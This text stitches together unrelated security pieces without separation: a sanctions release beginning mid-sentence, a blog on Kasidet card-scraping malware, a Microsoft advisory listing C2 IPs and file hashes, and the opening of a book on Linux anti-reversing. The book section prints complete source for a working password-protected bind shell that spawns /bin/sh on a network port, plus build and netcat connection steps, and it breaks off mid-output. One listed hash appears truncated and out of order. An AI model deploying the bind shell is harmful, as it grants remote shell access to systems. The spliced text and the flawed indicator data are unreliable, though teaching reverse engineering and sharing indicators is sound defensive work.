influence the 2020 U.S. presidential election. As part of today’s action, OFAC is also designating five additional Iranian nationals who are part of Emennet’s network. Emennet employees Seyyed Mohammad Hosein Musa Kazemi (Kazemi) and Sajjad Kashian (Kashian) are being designated pursuant to E.O. 13848 for attempting to influence the 2020 U.S. presidential election. Kazemi and Kashian executed cyber-enabled operations as part of the campaign to influence the election. Mostafa Sarmadi, Seyyed Mehdi Hashemi Toghroljerdi, and Hosein Akbari Nodeh, who serve on Emennet's Board of Directors, are being designated pursuant to E.O. 13848 for acting, or purporting to act, for on behalf of Emennet. ## Emennet Employees Designated Pursuant to E.O. 13848 Today’s designations represent the collective efforts of Treasury, the U.S. Department of State, and the FBI. Concurrent with today’s designations, the U.S. Department of Justice unsealed a five-count indictment against Seyyed Mohammad Hosein Musa Kazemi and Sajjad Kashian. Further, pursuant to the Rewards for Justice Program, the State Department is offering a reward of up to $10 million for information on or about the activities of these two individuals. ## Sanctions Implications As a result of today’s designation, all property and interests in property of the designated targets that are subject to U.S. jurisdiction are blocked, and U.S. persons are generally prohibited from engaging in transactions with them. Additionally, any entities 50 percent or more owned by one or more designated persons are also blocked. In addition, financial institutions and other persons that engage in certain transactions or activities with the sanctioned entity and individuals may expose themselves to sanctions or be subject to an enforcement action.
# Credit Card-Scraping Kasidet Leads to Detections Spike By RonJay Caragay, Michael Marcos A commercialized builder of the Kasidet or Neutrino bot, which is infamous for its distributed denial-of-service (DDoS) capabilities, has been making the rounds recently after it was leaked in an underground forum in July (version 3.6). It included a previously unheard of feature for the bot: "ccsearch" or the scraping of payment card details from point-of-sale (PoS) systems. Further investigation revealed that a paid version of the builder, which included the PoS RAM-scraping feature, has been around since March (version 2.9). Upon looking into the threat landscape following this discovery, we noticed that the detection count for Kasidet in June increased by 1,288% compared to the count in May. The spike in June is likely a result of cybercriminals who initially paid for the bot and used the builder in March even before it was leaked in July. Looking at one of the samples detected as WORM_KASIDET.SC, we observed that the malware affects PoS terminals running Windows operating systems. Network shares are one way for the malware to end up on PoS machines. Because of this, networks with relatively weak security measures, such as those used by small and medium businesses (SMBs), are potentially at risk. Apart from allowing cybercriminals to scan for credit card information and have stolen data sent over a command-and-control (C&C) server, Kasidet can also launch distributed denial-of-service (DDoS) attacks, log keystrokes, copy clipboard data, capture screenshots, execute a remote shell, and infect removable drives and network folders. Detection counts related to Kasidet are highest in Japan (12.75%), followed by the United Kingdom (10.78%), Taiwan (7.84%), and France (6.86%). ## Multiple Arrival Vectors The version of the builder leaked in the underground forum nulled[dot]io was already cracked, thus offering a free tool that cybercriminals can use to steal payment card details from PoS systems. The builder and control panel of the latest version of BKDR_KASIDET.SM was uploaded by a user nicknamed “0x22.” Copies of the builder package have been replicated in other hacker forums like hackforums[dot]net and crimebiz[dot]net. Apart from the forum, we have also observed this variant using different arrival vectors such as exploit kits, spammed emails, removable drives, networks, and as payloads of other Trojans. For example, we found a variant, BKDR_KASIDET.FD, being sent over spammed messages. Another variant, WORM_KASIDET.NM, was observed to be delivered as the final payload for the Sundown exploit kit. Cybercriminals using this worm can use the backdoor command "ccsearch" to run PoS RAM scraping routines on affected machines. ## Old Malware, New Money This is not the first time that memory-scraping capabilities were added into a botnet tool like Neutrino. PoS-specific features of the FighterPoS code were built on top of malware that was designed for botnets. However, the upgrade of Kasidet to include memory-scraping functions is still quite notable. Upgrading old malware to include PoS RAM-scraping capabilities is a new technique in the threat landscape, but it’s not surprising given how lucrative stolen payment card data is. It shows that more and more cybercriminals are putting two and two together to make more money. PoS RAM scrapers are usually sold underground at a price at par with their lucrative potential, and now that cybercriminals have access to a cracked version of a memory-scraping botnet tool, they can conduct attacks without the hassle of paying excessively for it. Scoring this tool is basically finding a valuable tool in a bargain bin and ending up not having to even pay for it. ## Notable Routines Apart from its card-scraping capabilities, the malware checks the following to evade detection: - Which virtualization modules (BOCHS, QEMU, VBOX, VMWARE) are loaded - If a debugger is present - If the system's username and path name is related to a sandbox system - If registries contain virtualization-related keys - The window class name Another notable behavior of Kasidet is that its C&C servers return a "404 Not found" error code, but in fact contain its base-64 encoded commands below the error page. It can also inject browsers and FTP client servers to monitor network activities. It also checks registry keys related to Microsoft email clients to gather email credentials. ## Solutions Trend Micro protects customers from all threats related to Kasidet. To protect enterprises from bots and malware with PoS RAM-scraping capabilities, it is best to employ endpoint application control or whitelisting technology, included in the Trend Micro Smart Protection Suite, to keep you in control of the applications that run on your network. Enterprises can also consider Trend Micro Deep Discovery, which has specialized detection engines and custom sandboxing that can detect evasive attacker activities like the anti-sandboxing techniques mentioned in this entry. With additional information by Sylvia Lascano. Updated on September 29, 2015, to add related Trend Micro solutions.
# Investigating and Mitigating Malicious Drivers The security landscape continues to rapidly evolve as threat actors find new and innovative methods to gain access to environments across a wide range of vectors. As the industry moves closer to the adoption of a Zero Trust security posture with broad and layered defenses, we remain committed to sharing threat intelligence with the community to shine a light on the latest techniques and exploits of attackers so the industry can better protect itself. Microsoft is investigating a malicious actor distributing malicious drivers within gaming environments. The actor submitted drivers for certification through the Windows Hardware Compatibility Program. The drivers were built by a third party. We have suspended the account and reviewed their submissions for additional signs of malware. ## No Evidence of Certificate Exposure We have seen no evidence that the WHCP signing certificate was exposed. The infrastructure was not compromised. In alignment with our Zero Trust and layered defenses security posture, we have built-in detection and blocking of this driver and associated files through Microsoft Defender for Endpoint. We are also sharing these detections with other AV security vendors so they can proactively deploy detections. The actor’s activity is limited to the gaming sector specifically in China and does not appear to target enterprise environments. We are not attributing this to a nation-state actor at this time. The actor’s goal is to use the driver to spoof their geo-location to cheat the system and play from anywhere. The malware enables them to gain an advantage in games and possibly exploit other players by compromising their accounts through common tools like keyloggers. It’s important to understand that the techniques used in this attack occur post exploitation, meaning an attacker must either have already gained administrative privileges in order to be able to run the installer to update the registry and install the malicious driver the next time the system boots or convince the user to do it on their behalf. We will be sharing an update on how we are refining our partner access policies, validation, and the signing process to further enhance our protections. There are no actions customers should take other than follow security best practices and deploy Antivirus software such as Windows Defender for Endpoint. Just like our defenders, our adversaries are creative and determined. Because of this, Microsoft approaches security with an assume breach mentality and layered defenses. We work tirelessly alongside our industry partners to ensure the community as a whole is aware of new attack tools, tactics, and procedures that we have observed or that have been reported through responsible disclosure. By sharing the information we’ve learned with this report, we are raising awareness of these techniques so that more protections can be built in across the industry and to increase the degree of difficulty for attackers. ## Additional Information on the Windows Hardware Compatibility Program Microsoft Defender and Windows Security teams work diligently with driver publishers to detect security vulnerabilities before they can be exploited by malicious software. Microsoft Defender for Endpoint’s UEFI scanner is able to scan below the operating system where these attacks occur to add further detection and protection from these kinds of low-level attacks. We also build automated mechanisms through Windows Update to block vulnerable versions of drivers and protect customers against vulnerability exploits based on ecosystem and partner engagement as this is an issue that challenges the industry at large. Our security teams continue to work closely with the OEM and driver publishers to analyze and patch any known vulnerabilities and to update affected devices prior to shipment. Once the driver publisher patches the vulnerability, an update to all affected drivers is pushed out via the Windows Update (WU) platform. Once affected devices receive the latest security patches, drivers with confirmed security vulnerabilities are blocked on Windows 10 devices using Microsoft Defender for Endpoint Attack Surface Reduction (ASR) and Microsoft Windows Defender Application Control (WDAC) technologies to protect devices against exploits. More information is available via our Microsoft recommended driver block rules document. ## Indicators of Compromise In addition to creating antimalware signatures for Microsoft Defender antivirus, sharing key detection guidance with our AV partners, we are also sharing these hashes and IP addresses for other defenders to leverage. ### Known C2 IP Addresses - 110.42.4[.]180 - 45.113.202[.]180 ### Known Malicious Files These are the list of SHA256 file hashes known to Microsoft as malicious: - 04a269dd0a03e32e5b2a1c8ab0768791962e040d080d44dc44dab01dd7954f2b - 0856a1da15b2b3e8999bf9fc51bbdedd4051e21fab1302e2ce766180b4931d86 - 0c42fe45ffa9a9c36c87a7f01510a077da6340ffd86bf8509f02c6939da133c5 - 0eace788e09c8d3f793a1fad94d35bcfd233f0777873412cd0c8172865562eec - 115034373fc0ec8f75fb075b7a7011b603259ecc0aca271445e559b5404a1406 - 12656fc113b178fa3e6bfffc6473897766c44120082483eb8059ebff29b5d2df - 12c0002af719c6abbc1e726b409fce099fffb90f758477f5295c152bde504caa - 16b6be03495a4f4cf394194566bb02061fba2256cc04dcbde5aa6a17e41b7650 - 18b923b169b2c3c7db5cbfda0db0999f04adb2cf6c917e5b1fb2ff04714ecac1 - 1aa8ba45f9524847e2a36c0dc6fd80162923e88dc1be217dde2fb5894c65ff43 - 1cd75de5f54b799b60789696587b56a4a793cf60775b81f236f0e65189d863af - 1d1f7e26109e6cb28c6b369c937b407d7b0cce3c4800ce9852eda94742b12259 - 1d60819f0ab8547dcd4eb18d39a0c317ec826332afa19c0a6af94bc681a21f14 - 1f05f74ebae7e65d389703d423445ffb269e657d8278b0523417e1f72b0228eb - 1f90d9c4d259c1fde4c7bb66a95d71ea0122e4dfb75883a6cb17b5c80ce6d18a - 22da5a055b7b17c69def9f5af54e257c751507e7b6b9a835fcf6245ab90ae750 - 22f6fe6bd62fb03f7aee489cccbc918999f49596052ac0153c02cd7a3320de13 - 23c061933d471c1f959c77806098ec0528d9b1d0130689bb3f417dd843138468 - 24ea733bae1b8722841fb4c6cead93c4c4f0b1248ca9a21601b1ce6b95b06864 - 26d67d479dafe6b33c980bd1eed0b6d749f43d05d001c5dcaaf5fcddb9b899fe - 26f2b9cf6e0fb50bad49a367bee63e808f1d53c476b38642d13c7db6e50687f4 - 2fa78c2988f9580b0c18822b117d065fb419f9c476f4cfa43925ba6cd2dffac3 - 314affdc86f62c8f8069ccd50a2cdf73bcd319773a031be700ba97a1ea4129a8 - 34c890fa43ca0e5165a4960549828ba43d7f48a216a22fc46204548ebfc34f72 - 3700b38d63d426ff0a985226b45eca6e24d052f4262d12aff529e62c2cb889c3 - 40c45c9b1c764777096b59f99ae524cbd25b88c805187e615c3ed6840f3d4c15 - 45ee083e28fbb33afa41b1b8cd00d94c29dea8cb7cee70bae4079e6c3dfb5501 - 4ce61ad21f186cf10dbcc253feee31262203cb5c12c5a140d2dda5447c57aba1 - 516159871730b18c2bddedb1a9da110577112d4835606ee79bb80e7a58784a13 - 5cb1dc26159c6700d6cadece63f6defda642ec1a6d324daefb0965b4e3746f70 - 5d0d5373c5e52c4405f4bd963413e6ef3490b7c4c919ec2d4e3fb92e91f397a0 - 62d7c5465852cdb7b59a86c20b4de5991c8f4820ce11a7c01cf0dde6032e500d - 630d7bdc20f33e6f822f52533a324865694886b7b74dfaad1dc30c9aee4260a2 - 635273eaa4c2e20c4ec320c6c8447ce2e881984e97c9ed6aeec4fad16b934e81 - 63d61549030fcf46ff1dc138122580b4364f0fe99e6b068bc6a3d6903656aff0 - 640eeb3128ae5c353034ee29cb656d38c41353743396c1c936afd4d04a782087 - 6703400b490b35bcde6e41ce1640920251855e6d94171170ae7ea22cdd0938c0 - 6a234a2b8eb3844f7b5831ee048f88e8a76e9d38e753cc82f61b234c79fe1660 - 6a6db5febdaf3f1577bf97c6e1e24913e6c78b134062c02fd1f9875099c03a3f - 6c7f24d8ed000bc7ce842e4875b467f9de1626436e051bd351adf1f6f8bbacf8 - 70b63dfc3ed2b89a4eb8a0aa6c26885f460e5686d21c9d32413df0cdc5f962c7 - 79e7165e626c7bde546cd1bea4b9ec206de8bed7821479856bdb0a2adc3e3617 - 7ff8fe4c220cf6416984b70a7e272006a018e5662da3cedc2a88efeb6411b4a4 - 8249e9c0ac0840a36d9a5b9ff3e217198a2f533159acd4bf3d9b0132cc079870 - 8e0b330a8df3076153638f5b76afc24d1083ebccc60e4d63ee0df5c11c45d58a - 3d99a5fbfc888c0a40a18946933121ae110229dcf206b4d17116a57e7cf4dc9 - 97030f3c81906334429afebbf365a89b66804ed890cd74038815ca18823d626c - 9b55b35284346bbcdc2754e60517e1702f0286770a080ee6ff3e7eed1cab812a - 9f9315790d0b0cc5213ac9a8eff0968cccc0a6c469b50d6598ce759748fe74bf - 9f9ebd6cd9b5b33ab2780122ee9c5feec84927f362890a062d13ef9816c7b85f - a0050c33c8263da02618872d642617959b3564fe173985e078bfedb89df93724 - aa97f4f98ff842b1bfd78e920fcb1dedaec3f882dd19311bba6037430868e7a7 - ad2dd8a68ce22d0959f341e9269e8033b34362b34bdea50b8ee2390907f1a610 - b2cd9cca011064d03ddd8fe3521ce0e9f9d8b16f63e4ecaf03eacfef47d22dbf - b7516dca419d087ef844c42e061a834908f34e7363577ab128094973896222c8 - b847e717215e0198cb4e863bd96390613f83eb92693171be50ca14255c5fb088 - bbc58fd69ce5fed6691dd8d2084e9b728add808ffd5ea8b42ac284b686f77d9a - bfb4603902c6c9ff32bc36113280ee8b5687cc3ef4c0ff9fc56f2925c7f342f0 - c0e74f565237c32989cb81234f4b5ad85f9dd731c112847c0a143d771021cb99 - c2f23ad4e2f12c490cfd589764464e293d5d56c31b6b3f5081e2d677384cb2fe - c95af9eb52111b72563875d85d593d96d7e54e19690827a052377c77cc80e06f - caa0d9bb7ed2d21a76b71dfc22ffaef80371de8af2a03b8103cbcec332897a88 - d0e1639e6386ef3c063bfae334fcc35cdfa85068ac1a65bb58f2463276c31ac9 - d1ac4d07ba6fe1dd988c471975e49e35b83d03a9b9d626fa524fd8300b80b14a - d4335f4189240a3bcafa05fab01f0707cc8e3dd7a2998af734c24916d9e37ca8 - d60fdabaf5a0ab375361d2ed1a9b39832bdb8bd33466d6c43d42a48ba2ffd274 - e0afb8b937a5907fbe55a1d1cc7574e9304007ef33fa80ff3896e997a1beaf37 - e2449ccc74e745c0339850064313bdd8dc0eff17b3a4e0882184c9576ac93a89 - e8e7f2f889948fd977b5941e6897921da28c8898a9ca1379816d9f3fa9bc40ff - edc6e32e3545f859e5b49ece1cabd13623122c1f03a2f7454a61034b3ff577ed - ee6d0d0ea24be622521ee1a4defa5d5729b99ee2217ac65701d38d05dbc0d4e6 - f1718a005232d1261894b798a60c73d971416359b70d0e545d7e7a40ed742b71 - f83c357106a7d1d055b5cb75c8414aa3219354deb16ae9ee7efe8ee4c8c670ca - fd8a5313bf63f5013dc126620276fb4f0ef26416db48ee88cbaaca4029df1d73
# Programming Linux Anti-Reversing Techniques ## Jacob Baines This book is for sale at http://leanpub.com/anti-reverse-engineering-linux. This version was published on 2016-12-20. This is a Leanpub book. Leanpub empowers authors and publishers with the Lean Publishing process. Lean Publishing is the act of publishing an in-progress book using lightweight tools and many iterations to get reader feedback, pivot until you have the right book, and build traction once you do. ©2016 Jacob Baines ## Preface ### Why Read This Book? There are many articles and books that talk about anti-reverse engineering techniques and how to break them. However, the writing is often limited to small code snippets or a screenshot of assembly in IDA. This book seeks to be different by starting with a simple program you’ll update with anti-reverse techniques as you progress through the book. This gives the reader the opportunity to compile and analyze the binary on their own. I believe the emphasis on the “proof of concept” makes this book unique. Another unique aspect of this book is the emphasis on Linux anti-reverse engineering. Hackers have been writing about these techniques since the late 90’s, but much of what has been written is strewn across the internet. This book attempts to coalesce a majority of techniques and present them to the reader as one unit. Finally, a lot of the proof of concept code that currently exists on the internet is bad. Not to be all judgmental, but some of it doesn’t compile. Some simply crashes. Others are written in confusing and bizarre manners. The code provided in this book attempts to be clean, useful, and maintainable. ### Topics Not Covered There are some topics that have been intentionally left out of this book. I want to state these topics upfront so that the reader knows what they are getting. 1. Virtual Machine Detection: VM detection techniques are continuously in flux as both sides seek to one-up each other. A technique that works one week could easily be broken the next. As such, I’ve avoided this subject altogether. 2. Hiding Network Communication: Understanding a binary’s network communication is a huge aid in reverse engineering. However, this topic is too deep to do justice within these pages. 3. Rootkit Topics: Hiding and persistence are out of scope. 4. Anything Related to the Kernel: This book focuses only on userland binaries. ### Prerequisites The reader should have access to a Linux host using the x86-64 architecture. The code for this book was written and tested on Ubuntu 16.04. This book does discuss the use of IDA, but I understand that the high cost of IDA is a non-starter for many. Therefore, I’ve done my best to also include examples using Radare2 and Hopper. Finally, the code for this book is largely written in C with a small amount of x86-64 assembler. Some of the tooling is written in C++. However, I do not expect the reader to be well-versed in any of these languages. Part of the beauty of having complete code examples to work from is that it gives the author a chance to point out any idiosyncrasies and provides the reader the opportunity to pull apart the code on their own time. ### Code and Command Output All the code is available on GitHub. I understand that the reader may not always be close to a computer or have access to GitHub in order to browse the book’s code. As such, all of the code is also listed within the book. I know some people don’t like that, but since the code is essential to this book I can’t have the reader go without. Also related to formatting, any output from a command line tool included in this book will generally include all of the output. For example, when GDB starts it prints out a lot of version, license, and help information. I won’t cut any of that. I want the reader to be able to match the output from their computer with what I’ve listed in the book. This largely aids in troubleshooting any issues the reader runs into. ## Chapter 1: Introductions ### Introducing “Trouble” This book centers around the obfuscation of a bind shell called Trouble. **What is a bind shell?** A bind shell is a type of shell in which the target machine opens up a communication port or a listener on the victim machine and waits for an incoming connection. The attacker then connects to the victim machine’s listener which then leads to code or command execution on the server. The Trouble bind shell is used as an example, not because it is unique or interesting, but because it is small and simple. It also has a property that should be interesting to a reverse engineer: it requires a password to access the shell. All of the activity in this book attempts to either hide or recover the shell’s password. ### Using CMake You’ll be using CMake to compile Trouble. CMake is an open-source Makefile generation tool. It’s useful for dependency checking and supports a simple syntax. Don’t worry if you aren’t familiar with CMake. You’ll pick it up as the book progresses. CMake relies on “CMakeLists.txt” files to generate Makefiles. For chapter one, you’ll find Trouble’s “CMakeLists.txt” in the `chap_1_introduction/trouble` directory. ```cmake project(trouble C) cmake_minimum_required(VERSION 3.0) # This will create a 32 byte "password" for the bind shell. This command # is only run when "cmake" is run, so if you want to generate a new password # then "cmake ..; make" should be run from the command line. exec_program("/bin/sh" ${CMAKE_CURRENT_SOURCE_DIR} ARGS "-c 'cat /dev/urandom | tr -dc a-zA-Z0-9 | head -c 32'" OUTPUT_VARIABLE random_password) # Pass the random password into ${PROJECT_NAME} as a macro add_definitions(-Dpassword="${random_password}") set(CMAKE_C_FLAGS "-Wall -Wextra -Wshadow -g -std=gnu11") add_executable(${PROJECT_NAME} src/trouble.c) # After the build is successful, display the random password to the user add_custom_command(TARGET ${PROJECT_NAME} POST_BUILD COMMAND ${CMAKE_COMMAND} -E echo "The bind shell password is:" ${random_password}) ``` Not only will this file generate Trouble’s Makefile but it also generates the shell’s 32 byte password every time it is executed. The password is created using `/dev/urandom` with the following command: ```bash cat /dev/urandom | tr -dc a-zA-Z0-9 | head -c 32 ``` More will be explained about using CMake in the upcoming section about compiling Trouble. ### The Code The code for the Trouble bind shell is located within the “source” directory. It is comprised of a single file: `chap_1_introduction/trouble/trouble.c`. ```c #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <string.h> #include <stdbool.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> // the password to login to the shell static const char s_password[] = password; bool check_password(const char *p_password) { // validate the password return memcmp(s_password, p_password, sizeof(s_password) - 1) != 0; } /** * This implements a fairly simple bind shell. The server first requires a * password before allowing access to the shell. The password is currently * randomly generated each time 'cmake ..' is run. The server has no shutdown * mechanism so it will run until killed. */ int main(int p_argc, char *p_argv[]) { (void)p_argc; (void)p_argv; int sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (sock == -1) { fprintf(stderr, "Failed to create the socket."); return EXIT_FAILURE; } struct sockaddr_in bind_addr = {}; bind_addr.sin_family = AF_INET; bind_addr.sin_addr.s_addr = htonl(INADDR_ANY); bind_addr.sin_port = htons(1270); int bind_result = bind(sock, (struct sockaddr *)&bind_addr, sizeof(bind_addr)); if (bind_result != 0) { perror("Bind call failed"); return EXIT_FAILURE; } int listen_result = listen(sock, 5); if (listen_result != 0) { perror("Listen call failed"); return EXIT_FAILURE; } while (true) { int client_sock = accept(sock, NULL, NULL); if (client_sock < 0) { perror("Accept call failed"); return EXIT_FAILURE; } int child_pid = fork(); if (child_pid == 0) { // read in the password char password_input[sizeof(s_password)] = {0}; int read_result = read(client_sock, password_input, sizeof(password_input)); if (read_result < (int)(sizeof(s_password) - 1)) { close(client_sock); return EXIT_FAILURE; } if (check_password(password_input)) { close(client_sock); return EXIT_FAILURE; } dup2(client_sock, 0); dup2(client_sock, 1); dup2(client_sock, 2); char *empty[] = {NULL}; execve("/bin/sh", empty, empty); close(client_sock); return EXIT_SUCCESS; } close(client_sock); } } ``` The code in trouble.c creates a socket and binds to port 1270 before listening for incoming connections. Once a connection is established the program forks and the parent process returns back to listening for incoming connections. The child process reads from the socket for the password. If the password is correct the program uses execve to provide shell functionality. ### Compiling As previously mentioned, Trouble uses CMake for the build process. If you are using Ubuntu, CMake is easy to install: ```bash sudo apt-get install cmake ``` After CMake is installed, you’ll need to cd into the directory where chapter one’s version of Trouble exists. For me this command looks like this: ```bash cd antire_book/chap_1_introduction/trouble/ ``` Next you’ll need to create a directory to compile Trouble in. I typically make a directory called “build”, but you can name it whatever you’d like. After you’ve created the build directory cd into it. ```bash mkdir build cd build ``` Now you need to run the cmake command. CMake will check that your system has the appropriate dependencies installed and then generate the Makefile to build Trouble. Note that we have to give CMake the path to our CMakeLists.txt file so the command is `cmake ..`: ```bash cmake .. ``` The final step in the build process is to execute make. ```bash make ``` A new binary named “trouble” should now exist in the build directory. Knowing the bind shell’s password is of utmost importance to its use. As such, the password is printed to screen every time the binary is generated. A new password is only generated when cmake is run. Therefore, to force a new password to be generated you have to run `cmake ..; make`. ### Executing Executing Trouble is simple. It doesn’t take any command line options and doesn’t require sudo. It should generally only fail if port 1270 is already in use. To run in the foreground, simply execute `./trouble` from the build directory. ```bash ./trouble ``` The program will block the terminal while it runs. If that is a problem just run it in the background using `&`. ```bash ./trouble & ``` ### Accessing the Shell To connect to Trouble I suggest using netcat as the easiest option. Once you are connected, input the password and then you should be able to issue shell commands. If the wrong password is input then the connection will be severed. Follow the example below. ```bash nc 192.168.1.182 1270 TGOEu26TW0k1b9IeXjUJbT1GfCR0jSnl pwd /home/albino-lobster/antire_book/chap_1_introduction/trouble/build ls -l total 48 -rw-r--r-- 1 albino-lobster albino 10544 Oct 18 17:07 CMakeCache.txt drwxrwxr-x 5 albino-lobster albino 4096 Oct 18 17:22 CMakeFiles -rw-r--r-- 1 albino-lobster albino 4986 Oct 18 17:22 Makefile -rw-r--r-- 1 albino-lobster albino 1437 Oct 18 17:07 cmake_install.cmake -rwxrwxr-x 1 albino-lobster albino 17488 Oct 18 17:22 trouble ``` ## Chapter 2: Compiler Options The compiler options are often overlooked when talking about anti-reverse engineering. However, it’s essential that you understand how different options alter the final binary. The compiler can be your worst enemy that gives away all of your secrets or it could be your best friend as it strips away all unnecessary information. ### Focusing on GCC The code in this book expects GCC to be used as the compiler. That is not to say that Clang or other compilers could not be used. They very well could be. However, GCC is used since it was the de facto standard for so many years. If you are unfamiliar with CMake or GCC you might be wondering what are the compiler options I’m talking about. If you look back at the “CMakeLists.txt” file from chapter one you’ll find this line: ```cmake set(CMAKE_C_FLAGS "-Wall -Wextra -Wshadow -g -std=gnu11") ``` These are the compiler options. GCC supports many such options and maintains detailed documentation. The flags used in the chapter one version of Trouble are a tiny subset of what is available. In the compiler options above, all of the options that start with -W are warning options that tell the compiler to check for specific types of programming mistakes. The -g option instructs the compiler to include debugging information in the binary. Finally, -std=gnu11 tells the compiler that the C code you are using expects the GNU dialect of the C11 standard for the C programming. The GNU portion enables extensions that were not part of the C11 standard. ### -g As previously mentioned, you can instruct GCC to include debugging information in your program by using the -g flag. To gain a better understanding of what I mean by “include debugging information” use the command line utility readelf on Trouble. #### readelf readelf is a command line utility that understands the Executable and Linkable Format (ELF). ELF is the standard format for Linux executables, shared libraries, and core dumps. readelf can parse provided binaries and display information about their formatting. readelf comes pre-installed on Ubuntu 16.04. readelf has a lot of command line options. One option, -S, will display the provided binary’s section headers. ### Listing Trouble’s section headers ```bash readelf -S ./trouble ``` There are 36 section headers, starting at offset 0x3c38: ``` Section Headers: [ Nr ] Name Type Address Offset Size EntSize Flags Link Info Align [ 0 ] NULL 0000000000000000 00000000 0000000000000000 0000000000000000 0 0 0 [ 1 ] .interp PROGBITS 0000000000400238 00000238 000000000000001c 0000000000000000 A 0 0 1 [ 2 ] .note.ABI-tag NOTE 0000000000400254 00000254 0000000000000020 0000000000000000 A 0 0 4 [ 3 ] .note.gnu.build-i NOTE 0000000000400274 00000274 0000000000000024 0000000000000000 A 0 0 4 [ 4 ] .gnu.hash GNU_HASH 0000000000400298 00000298 0000000000000064 0000000000000000 A 5 0 8 [ 5 ] .dynsym DYNSYM 0000000000400300 00000300 0000000000000348 0000000000000018 A 6 1 8 ... ``` Do you see the five sections, beginning at index 28, whose names start with “.debug_” in the output above? These sections contain the debugging information that you requested by using the -g option. The debugging information is provided in the DWARF debugging format. #### DWARF DWARF stands for “Debugging With Attributed Record Formats” and is the default format GCC uses to store debugging information. For this book, the most interesting .debug section is .debug_info. You can view the contents of .debug_info by using the command line utility objdump. #### objdump objdump displays information about one or more object files. The options control what particular information to display. This information is mostly useful to programmers who are working on the compilation tools, as opposed to programmers who just want their program to compile and work. ### Using objdump to view .debug_info ```bash objdump --dwarf=info ./trouble ``` This command generates a lot of output so this is one of the rare occasions in which I’ve trimmed the output to focus on specific information. ``` ./trouble: file format elf64-x86-64 Contents of the .debug_info section: Compilation Unit @ offset 0x0: Length: 0x5dc ( 32-bit ) Version: 4 Abbrev Offset: 0x0 Pointer Size: 8 <0><b>: Abbrev Number: 1 ( DW_TAG_compile_unit ) <c> DW_AT_producer : ( indirect string, offset: 0xaf ): GNU C11 5.4.0 20160609 -mtune = generic -march = x86-64 -g -std = gnu11 -fstack-protector-strong <10> DW_AT_language : 12 ( ANSI C99 ) <11> DW_AT_name :(indirect string, offset: 0x21d ) : /home/albino-lobster/antire_book/chap_2_compiler/trouble/src/trouble.c <15> DW_AT_comp_dir : ( indirect string, offset: 0x366 ) : /home/albino-lobster/antire_book/chap_2_compiler/trouble/build <19> DW_AT_low_pc : 0x400c06 <21> DW_AT_high_pc : 0x257 <29> DW_AT_stmt_list : 0x0 <1><5ba>: Abbrev Number: 21 ( DW_TAG_variable ) <5bb> DW_AT_name :(indirect string, offset: 0x1aa ) : s_password <5bf> DW_AT_decl_file : 1 <5c0> DW_AT_decl_line : 11 <5c1> DW_AT_type : <0x5cf> <5c5> DW_AT_location : 9 byte block: ( DW_OP_addr: 400f00 ) ``` The .debug_info section contains useful information for the debugger but it’s also useful for anyone attempting to attribute a binary to a specific actor. For example, in the output above, you can see the full path of the source file (`/home/albino-lobster/antire_book/chap_2_compiler/trouble/src/trouble.c`), the full path of the compilation directory (`/home/albino-lobster/antire_book/chap_2_compiler/trouble/build`), the version of C used (GNU C 5.4.0 20160609), and even the exact line number the variable `s_password` was declared on (DW_AT_decl_line:11). That might seem like an absurd amount of information, but it can be really useful when debugging. For example, consider this backtrace generated with GDB. ### Generating a backtrace in GDB ```bash gdb ./trouble ``` ``` GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.04) 7.11.1 Copyright (C) 2016 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-linux-gnu". Type "show configuration" for configuration details. For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>. Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>. For help, type "help". Type "apropos word" to search for commands related to "word"... Reading symbols from ./trouble...done. (gdb) run Starting program: /home/albino-lobster/antire_book/chap_2_compiler/trouble/build/trouble ^C Program received signal SIGINT, Interrupt. 0x00007ffff7b154b0 in __accept_nocancel() at ../sysdeps/unix/syscall-template.S:84 84 ../sysdeps/unix/syscall-template.S: No such file or directory. (gdb) bt #0 0x00007ffff7b154b0 in __accept_nocancel() at ../sysdeps/unix/syscall-template.S:84 #1 0x0000000000400d36 in main(p_argc=1, p_argv=0x7fffffffdeb8) at /home/albino-lobster/antire_book/chap_2_compiler/trouble/src/trouble.c:59 ``` Notice how the backtrace contains the parameter names `p_argc` and `p_argv` in main()? These are the exact names used in Trouble’s source code. Also, the line number where `accept()` is called in `trouble.c` is visible in the backtrace. GDB can display this information thanks to the .debug_info section being present in Trouble. Because this information makes debugging so much easier almost every programmer will use the -g option while writing their program. However, as you’ll see, it’s also useful to reverse engineers. ### Recovering the Bind Shell Password with Hexdump In the previous section, you saw the line numbers `s_password` was declared on due to the DWARF information in .debug_info. If you look at that output again you can also see the address where `s_password` is stored. ``` <5bb> DW_AT_name :(indirect string, offset: 0x1aa): s_password <5bf> DW_AT_decl_file : 1 <5c0> DW_AT_decl_line : 11 <5c1> DW_AT_type : <0x5cf> <5c5> DW_AT_location : 9 byte block: ( DW_OP_addr: 400f00 ) ``` `s_password` is stored at the virtual address `0x400f00`. Convert the virtual address into a file offset and you can extract the contents of `s_password` using hexdump. To convert `0x400f00` into a file offset find the program header the address falls in. ### Viewing Trouble’s program headers ```bash readelf -l ./trouble ``` ``` Elf file type is EXEC (Executable file) Entry point 0x400b10 There are 9 program headers, starting at offset 64 Program Headers: Type Offset VirtAddr PhysAddr FileSiz MemSiz Flags Align PHDR 0x0000000000000040 0x0000000000400040 0x0000000000400040 0x00000000000001f8 0x00000000000001f8 R E 8 INTERP 0x0000000000000238 0x0000000000400238 0x0000000000400238 0x000000000000001c 0x000000000000001c R 1 [ Requesting program interpreter: /lib64/ld-linux-x86-64.so.2] LOAD 0x0000000000000000 0x0000000000400000 0x0000000000400000 0x00000000000010d4 0x00000000000010d4 R E 200000 LOAD 0x0000000000001e10 0x0000000000601e10 0x0000000000601e10 0x0000000000000298 0x00000000000002c0 RW 200000 DYNAMIC 0x0000000000001e28 0x0000000000601e28 0x0000000000601e28 0x00000000000001d0 0x00000000000001d0 RW 8 NOTE 0x0000000000000254 0x0000000000400254 0x0000000000400254 0x0000000000000044 0x0000000000000044 R 4 GNU_EH_FRAME 0x0000000000000f80 0x0000000000400f80 0x0000000000400f80 0x000000000000003c 